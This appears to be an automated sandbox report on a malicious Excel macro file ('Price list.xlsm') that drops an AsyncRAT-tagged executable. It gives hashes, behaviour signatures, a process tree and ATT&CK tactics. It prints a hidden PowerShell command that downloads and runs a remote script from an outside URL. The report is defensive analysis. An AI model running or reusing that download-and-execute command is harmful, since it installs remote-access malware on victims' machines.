Price list.xlsm

General
Target

Price list.xlsm

Filesize

64KB

Completed

04-05-2021 15:04

Score
10 /10
MD5

dc48640ca8488d4c4e61b807ef19d11c

SHA1

e2cfbc565e62b269a7bfbdf2b3c060e52aaa6614

SHA256

c8f3d97c54386b86778a1d20917353583bcf706ffe0615d962683d55e449bcab

Malware Config

Extracted

Language ps1
Deobfuscated
URLs
ps1.dropper

https://cenga.hr/components/search/pri.ps1

Signatures 11

Filter: none

Discovery
  • AsyncRat

    Description

    AsyncRAT is designed to remotely monitor and control other computers.

  • Blocklisted process makes network request
    powershell.exe

    Reported IOCs

    flowpidprocess
    40416powershell.exe
  • Downloads MZ/PE file
  • Executes dropped EXE
    HsJzA.exe

    Reported IOCs

    pidprocess
    3980HsJzA.exe
  • Checks processor information in registry
    EXCEL.EXE

    Description

    Processor information is often read in order to detect sandboxing environments.

    TTPs

    Query RegistrySystem Information Discovery

    Reported IOCs

    descriptioniocprocess
    Key opened\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0EXCEL.EXE
    Key value queried\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHzEXCEL.EXE
    Key value queried\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameStringEXCEL.EXE
  • Enumerates system info in registry
    EXCEL.EXE

    TTPs

    Query RegistrySystem Information Discovery

    Reported IOCs

    descriptioniocprocess
    Key value queried\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKUEXCEL.EXE
    Key opened\REGISTRY\MACHINE\Hardware\Description\System\BIOSEXCEL.EXE
    Key value queried\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamilyEXCEL.EXE
  • Suspicious behavior: AddClipboardFormatListener
    EXCEL.EXE

    Reported IOCs

    pidprocess
    852EXCEL.EXE
  • Suspicious behavior: EnumeratesProcesses
    HsJzA.exepowershell.exe

    Reported IOCs

    pidprocess
    3980HsJzA.exe
    3980HsJzA.exe
    416powershell.exe
    416powershell.exe
    416powershell.exe
  • Suspicious use of AdjustPrivilegeToken
    HsJzA.exepowershell.exe

    Reported IOCs

    descriptionpidprocess
    Token: SeDebugPrivilege3980HsJzA.exe
    Token: SeDebugPrivilege416powershell.exe
  • Suspicious use of SetWindowsHookEx
    EXCEL.EXE

    Reported IOCs

    pidprocess
    852EXCEL.EXE
    852EXCEL.EXE
    852EXCEL.EXE
    852EXCEL.EXE
    852EXCEL.EXE
    852EXCEL.EXE
    852EXCEL.EXE
    852EXCEL.EXE
    852EXCEL.EXE
    852EXCEL.EXE
    852EXCEL.EXE
    852EXCEL.EXE
  • Suspicious use of WriteProcessMemory
    EXCEL.EXEHsJzA.execmd.exe

    Reported IOCs

    descriptionpidprocesstarget process
    PID 852 wrote to memory of 3980852EXCEL.EXEHsJzA.exe
    PID 852 wrote to memory of 3980852EXCEL.EXEHsJzA.exe
    PID 3980 wrote to memory of 22083980HsJzA.execmd.exe
    PID 3980 wrote to memory of 22083980HsJzA.execmd.exe
    PID 2208 wrote to memory of 4162208cmd.exepowershell.exe
    PID 2208 wrote to memory of 4162208cmd.exepowershell.exe
Processes 4
  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Price list.xlsm"
    Checks processor information in registry
    Enumerates system info in registry
    Suspicious behavior: AddClipboardFormatListener
    Suspicious use of SetWindowsHookEx
    Suspicious use of WriteProcessMemory
    PID:852
    • C:\Users\Admin\AppData\Local\Temp\HsJzA.exe
      C:\Users\Admin\AppData\Local\Temp\HsJzA.exe
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3980
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd"
        Suspicious use of WriteProcessMemory
        PID:2208
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('https://cenga.hr/components/search/pri.ps1'))"
          Blocklisted process makes network request
          Suspicious behavior: EnumeratesProcesses
          Suspicious use of AdjustPrivilegeToken
          PID:416
Network
MITRE ATT&CK Matrix
Collection
    Command and Control
      Credential Access
        Defense Evasion
          Execution
            Exfiltration
              Impact
                Initial Access
                  Lateral Movement
                    Persistence
                      Privilege Escalation
                        Replay Monitor
                        00:00 00:00
                        Downloads
                        • C:\Users\Admin\AppData\Local\Temp\HsJzA.exe

                          MD5

                          c8f1a39398783633b0fdcf9c744001ee

                          SHA1

                          db1ac98baa818def3931ccce9bd63434cf81587d

                          SHA256

                          d506b695f45cb729a6af2e18708597fe2f7df623d4f36e1ab1a4f118dbbdccf9

                          SHA512

                          d4d3c235e7224de8378b21b43f713df904903c7c01fda8ba4110469c8f9e766ea44b0ffda8ea47ec97fbc383db51f969e0fcfed7d0e0de194b891b928855c60b

                        • C:\Users\Admin\AppData\Local\Temp\HsJzA.exe

                          MD5

                          c8f1a39398783633b0fdcf9c744001ee

                          SHA1

                          db1ac98baa818def3931ccce9bd63434cf81587d

                          SHA256

                          d506b695f45cb729a6af2e18708597fe2f7df623d4f36e1ab1a4f118dbbdccf9

                          SHA512

                          d4d3c235e7224de8378b21b43f713df904903c7c01fda8ba4110469c8f9e766ea44b0ffda8ea47ec97fbc383db51f969e0fcfed7d0e0de194b891b928855c60b

                        • memory/416-186-0x000001D0F8B60000-0x000001D0F8B62000-memory.dmp

                        • memory/416-187-0x000001D0F8B63000-0x000001D0F8B65000-memory.dmp

                        • memory/416-185-0x0000000000000000-mapping.dmp

                        • memory/416-188-0x000001D0F8B66000-0x000001D0F8B68000-memory.dmp

                        • memory/852-122-0x00007FFD4B6C0000-0x00007FFD4C7AE000-memory.dmp

                        • memory/852-123-0x00007FFD497C0000-0x00007FFD4B6B5000-memory.dmp

                        • memory/852-117-0x00007FFD2ADC0000-0x00007FFD2ADD0000-memory.dmp

                        • memory/852-121-0x00007FFD2ADC0000-0x00007FFD2ADD0000-memory.dmp

                        • memory/852-118-0x00007FFD2ADC0000-0x00007FFD2ADD0000-memory.dmp

                        • memory/852-114-0x00007FF629660000-0x00007FF62CC16000-memory.dmp

                        • memory/852-116-0x00007FFD2ADC0000-0x00007FFD2ADD0000-memory.dmp

                        • memory/852-115-0x00007FFD2ADC0000-0x00007FFD2ADD0000-memory.dmp

                        • memory/2208-184-0x0000000000000000-mapping.dmp

                        • memory/3980-183-0x000000001B023000-0x000000001B025000-memory.dmp

                        • memory/3980-179-0x0000000000000000-mapping.dmp

                        • memory/3980-182-0x000000001B020000-0x000000001B022000-memory.dmp